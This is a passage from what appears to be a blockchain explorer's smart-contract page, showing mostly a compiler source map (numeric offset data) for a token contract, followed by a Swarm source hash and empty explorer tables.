19:0;;5861:68;;;;-1:-1:-1;;;5861:68:0;;4771:2:1;5861:68:0;;;4753:21:1;4810:2;4790:18;;;4783:30;4849:34;4829:18;;;4822:62;-1:-1:-1;;;4900:18:1;;;4893:34;4944:19;;5861:68:0;4569:400:1;5861:68:0;-1:-1:-1;;;;;5948:21:0;;5940:68;;;;-1:-1:-1;;;5940:68:0;;5176:2:1;5940:68:0;;;5158:21:1;5215:2;5195:18;;;5188:30;5254:34;5234:18;;;5227:62;-1:-1:-1;;;5305:18:1;;;5298:32;5347:19;;5940:68:0;4974:398:1;5940:68:0;6099:8;;-1:-1:-1;;;;;6081:26:0;;;6099:8;;6081:26;6080:50;;;;-1:-1:-1;6113:8:0;;;;:16;;:8;:16;6080:50;6079:123;;-1:-1:-1;;;;;6156:19:0;;;;;;:10;:19;;;;;;;;;6176:7;:16;;;;;;;6193:8;;6156:19;;;;;6176:16;;;;6193:8;6079:123;;;6135:4;6140:5;6146;6079:123;-1:-1:-1;;;;;6030:19:0;;;;;;;:10;:19;;;;;;;;6050:7;:16;;;;;6067:8;6029:173;;;;;-1:-1:-1;;6029:173:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6215:18;;;;;;:11;:18;;;;;:27;;;;;;;;;:36;;;6267:32;;1391:25:1;;;6030:19:0;;6267:32;;1364:18:1;6267:32:0;;;;;;;5767:540;;;:::o;6319:939::-;-1:-1:-1;;;;;6425:20:0;;6417:70;;;;-1:-1:-1;;;6417:70:0;;5579:2:1;6417:70:0;;;5561:21:1;5618:2;5598:18;;;5591:30;5657:34;5637:18;;;5630:62;-1:-1:-1;;;5708:18:1;;;5701:35;5753:19;;6417:70:0;5377:401:1;6417:70:0;-1:-1:-1;;;;;6506:23:0;;6498:71;;;;-1:-1:-1;;;6498:71:0;;5985:2:1;6498:71:0;;;5967:21:1;6024:2;6004:18;;;5997:30;6063:34;6043:18;;;6036:62;-1:-1:-1;;;6114:18:1;;;6107:33;6157:19;;6498:71:0;5783:399:1;6498:71:0;-1:-1:-1;;;;;6606:17:0;;6582:21;6606:17;;;:9;:17;;;;;;6642:23;;;;6634:74;;;;-1:-1:-1;;;6634:74:0;;6389:2:1;6634:74:0;;;6371:21:1;6428:2;6408:18;;;6401:30;6467:34;6447:18;;;6440:62;-1:-1:-1;;;6518:18:1;;;6511:36;6564:19;;6634:74:0;6187:402:1;6634:74:0;6771:8;;-1:-1:-1;;;;;6752:27:0;;;6771:8;;6752:27;6751:51;;;;-1:-1:-1;6785:7:0;;;;;;;:16;6751:51;6750:90;;6823:8;;6832:7;;;;;;;6750:90;;;6807:5;;6814:4;6750:90;6739:7;6729:111;;;;;;;-1:-1:-1;;6729:111:0;;;;;;;;;6730:8;6729:111;6906:8;;-1:-1:-1;;;;;6887:27:0;;;6906:8;;6887:27;6886:50;;;;-1:-1:-1;6920:7:0;;;;;;;;:15;;:7;:15;6886:50;6885:102;;-1:-1:-1;;;;;6957:21:0;;;;;;:10;:21;;;;;;6979:7;;6957:21;;;;;;6979:7;;;;6885:102;;;6941:4;6947:5;6885:102;-1:-1:-1;;;;;6852:21:0;;;;;;:10;:21;;;;;6874:7;6851:136;;-1:-1:-1;;6851:136:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;6851:136:0;;;;;;;;;;7022:15;7048:35;7059:6;7067;7022:15;7048:10;:35::i;:::-;7124:22;7140:6;7124:13;:22;:::i;:::-;-1:-1:-1;;;;;7104:17:0;;;;;;;:9;:17;;;;;;:42;;;;7157:20;;;;;;;;:30;;7181:6;;7104:17;7157:30;;7181:6;;7157:30;:::i;:::-;;;;;;;;7222:9;-1:-1:-1;;;;;7205:35:0;7214:6;-1:-1:-1;;;;;7205:35:0;;7233:6;7205:35;;;;1391:25:1;;1379:2;1364:18;;1245:177;7205:35:0;;;;;;;;6406:852;;6319:939;;;:::o;3759:485::-;3845:25;3873:22;3891:4;3873:15;:22;:::i;:::-;-1:-1:-1;;;;;3911:18:0;;;;;;:10;:18;;;;;;3845:50;;-1:-1:-1;3911:18:0;;:27;;;3910:57;;-1:-1:-1;3944:22:0;3910:57;3906:331;;;3998:7;;3989:6;:16;3984:43;;;4010:14;;;;4058:8;;4049:6;:17;4041:26;;;;;;4086:7;;;;;;;:15;;4097:4;4086:15;4082:144;;;-1:-1:-1;;;;;4126:15:0;;;;;;:7;:15;;;;;;;;:23;;:15;:23;4122:48;;;4153:14;;;;-1:-1:-1;;;;;4188:15:0;;;;;;:7;:15;;;;;:22;;-1:-1:-1;;4188:22:0;4206:4;4188:22;;;4082:144;3834:410;3759:485;;;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:186::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;2100:29;2119:9;2100:29;:::i;:::-;2090:39;1949:186;-1:-1:-1;;;1949:186:1:o;2348:260::-;2416:6;2424;2477:2;2465:9;2456:7;2452:23;2448:32;2445:52;;;2493:1;2490;2483:12;2445:52;2516:29;2535:9;2516:29;:::i;:::-;2506:39;;2564:38;2598:2;2587:9;2583:18;2564:38;:::i;:::-;2554:48;;2348:260;;;;;:::o;2613:380::-;2692:1;2688:12;;;;2735;;;2756:61;;2810:4;2802:6;2798:17;2788:27;;2756:61;2863:2;2855:6;2852:14;2832:18;2829:38;2826:161;;;2909:10;2904:3;2900:20;2897:1;2890:31;2944:4;2941:1;2934:15;2972:4;2969:1;2962:15;2826:161;;2613:380;;;:::o;3407:127::-;3468:10;3463:3;3459:20;3456:1;3449:31;3499:4;3496:1;3489:15;3523:4;3520:1;3513:15;3539:125;3579:4;3607:1;3604;3601:8;3598:34;;;3612:18;;:::i;:::-;-1:-1:-1;3649:9:1;;3539:125::o;3669:128::-;3709:3;3740:1;3736:6;3733:1;3730:13;3727:39;;;3746:18;;:::i;:::-;-1:-1:-1;3782:9:1;;3669:128::o

Swarm Source

ipfs://2b972a2cd5aa132ac9a858192d3c7e75124091c5ac618d70fcdec5139f7ae2cd

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.